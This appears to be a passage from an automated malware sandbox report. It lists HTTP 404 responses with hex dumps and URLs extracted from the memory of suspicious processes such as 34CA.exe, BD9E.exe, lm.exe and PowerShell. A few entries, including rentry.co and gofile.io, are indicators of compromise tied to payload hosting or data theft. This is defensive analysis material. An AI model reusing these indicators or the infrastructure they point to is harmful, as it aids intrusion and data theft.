Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:54:06 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:54:07 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 06 7f 55 e7 39 04 fc ea 48 e6 8e ac a9 2d 99 61 c2 e8 6e 59 1a 82 9e 8a c0 70 9b 37 18 12 98 07 99 16 76 5a 57 ec d5 7f e5 7c Data Ascii: #\6U9H-anYp7vZW|
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:54:18 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:54:21 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 0d 7f 48 e6 3d 09 f2 e8 42 f1 91 ed a1 31 da 2d da f5 6c 49 10 98 9f 9f dd 2a d1 26 10 Data Ascii: #\6H=B1-lI*&
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:54:23 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:54:25 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:54:26 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:54:27 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 28 5b 33 08 a5 6f 58 b5 a9 16 a7 d0 b0 fb 70 db 2c c0 f1 2f 5e 5b 89 92 8a Data Ascii: #\([3oXp,/^[
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:54:50 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: 34CA.exe, 00000008.00000002.2600393793.00007FF65BB53000.00000008.00000001.01000000.00000007.sdmp, 34CA.exe, 00000008.00000000.2466754046.00007FF65BB44000.00000008.00000001.01000000.00000007.sdmp, 34CA.exe.1.dr String found in binary or memory: http://.css
Source: 34CA.exe, 00000008.00000002.2600393793.00007FF65BB53000.00000008.00000001.01000000.00000007.sdmp, 34CA.exe, 00000008.00000000.2466754046.00007FF65BB44000.00000008.00000001.01000000.00000007.sdmp, 34CA.exe.1.dr String found in binary or memory: http://.jpg
Source: BitLockerToGo.exe, 0000000D.00000003.2645280631.0000000004F61000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2788579586.000000000313C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 0000000D.00000003.2645280631.0000000004F61000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2788579586.000000000313C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: explorer.exe, 00000001.00000000.1712692265.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1714271220.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: BD9E.exe.1.dr String found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q
Source: BD9E.exe.1.dr String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0
Source: powershell.exe, 0000000E.00000002.2783985099.000002EC464C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.mic
Source: BitLockerToGo.exe, 0000000D.00000003.2645280631.0000000004F61000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2788579586.000000000313C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 0000000D.00000003.2645280631.0000000004F61000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2788579586.000000000313C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 0000000D.00000003.2645280631.0000000004F61000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2788579586.000000000313C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: explorer.exe, 00000001.00000000.1712692265.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1714271220.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: BitLockerToGo.exe, 0000000D.00000003.2645280631.0000000004F61000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2788579586.000000000313C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: explorer.exe, 00000001.00000000.1712692265.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1714271220.000000000982D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: BD9E.exe.1.dr String found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
Source: BD9E.exe.1.dr String found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
Source: BD9E.exe.1.dr String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
Source: BD9E.exe.1.dr String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: BitLockerToGo.exe, 0000000D.00000003.2645280631.0000000004F61000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2788579586.000000000313C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 34CA.exe, 00000008.00000002.2600393793.00007FF65BB53000.00000008.00000001.01000000.00000007.sdmp, 34CA.exe, 00000008.00000000.2466754046.00007FF65BB44000.00000008.00000001.01000000.00000007.sdmp, 34CA.exe.1.dr String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 0000000E.00000002.2777085480.000002EC3E13C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: explorer.exe, 00000001.00000000.1712692265.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1714271220.000000000982D000.00000004.00000001.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.2645280631.0000000004F61000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2788579586.000000000313C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000001.00000000.1712692265.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: BitLockerToGo.exe, 0000000D.00000003.2645280631.0000000004F61000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2788579586.000000000313C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BD9E.exe.1.dr String found in binary or memory: http://ocsps.ssl.com0
Source: BD9E.exe.1.dr String found in binary or memory: http://ocsps.ssl.com0?
Source: BD9E.exe.1.dr String found in binary or memory: http://ocsps.ssl.com0_
Source: powershell.exe, 0000000E.00000002.2733250356.000002EC2E2F7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: BD9E.exe, 0000000A.00000002.2843609071.000001DCCE483000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://rentry.co
Source: explorer.exe, 00000001.00000000.1713458157.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1713879166.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1714979085.0000000009B60000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://schemas.micro
Source: powershell.exe, 0000000E.00000002.2733250356.000002EC2E501000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: BD9E.exe, 0000000A.00000002.2843609071.000001DCCE071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2733250356.000002EC2E0D1000.00000004.00000800.00020000.00000000.sdmp, vm.exe, 00000012.00000002.4114379558.0000000002CEC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000E.00000002.2733250356.000002EC2E501000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000E.00000002.2733250356.000002EC2F871000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://store4.gofile.io
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000000E.00000002.2733250356.000002EC2E2F7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: explorer.exe, 00000001.00000000.1716518107.000000000C964000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fonts.com
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: powershell.exe, 0000000E.00000002.2727719686.000002EC2C27A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.micom/pki/certs/Miut_2010-06-23.cr
Source: 2FBE.exe, 2FBE.exe.1.dr String found in binary or memory: http://www.oberhumer.com
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sakkal.com
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: BD9E.exe.1.dr String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
Source: BD9E.exe.1.dr String found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.com
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.typography.netD
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: BD9E.exe, 0000000A.00000002.2899650889.000001DCE7AA2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: BitLockerToGo.exe, 0000000D.00000003.2645280631.0000000004F61000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2788579586.000000000313C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 0000000D.00000003.2645280631.0000000004F61000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2788579586.000000000313C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 0000000D.00000003.2617996462.0000000004F58000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751124062.000000000314E000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000013.00000003.2751579321.0000000003358000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 00000001.00000000.1716518107.000000000C893000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000001.00000000.1712692265.00000000079FB000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000001.00000000.1712692265.00000000079FB000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/odirmr
Source: powershell.exe, 0000000E.00000002.2733250356.000002EC2E0D1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000E.00000002.2733250356.000002EC2E501000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2733250356.000002EC2F533000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 0000000E.00000002.2733250356.000002EC2F533000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: explorer.exe, 00000001.00000000.1716518107.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000001.00000000.1714271220.00000000097D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000001.00000000.1714271220.00000000097D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000001.00000000.1711728806.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1711065228.0000000001240000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000001.00000000.1714271220.00000000096DF000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000001.00000000.1712692265.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
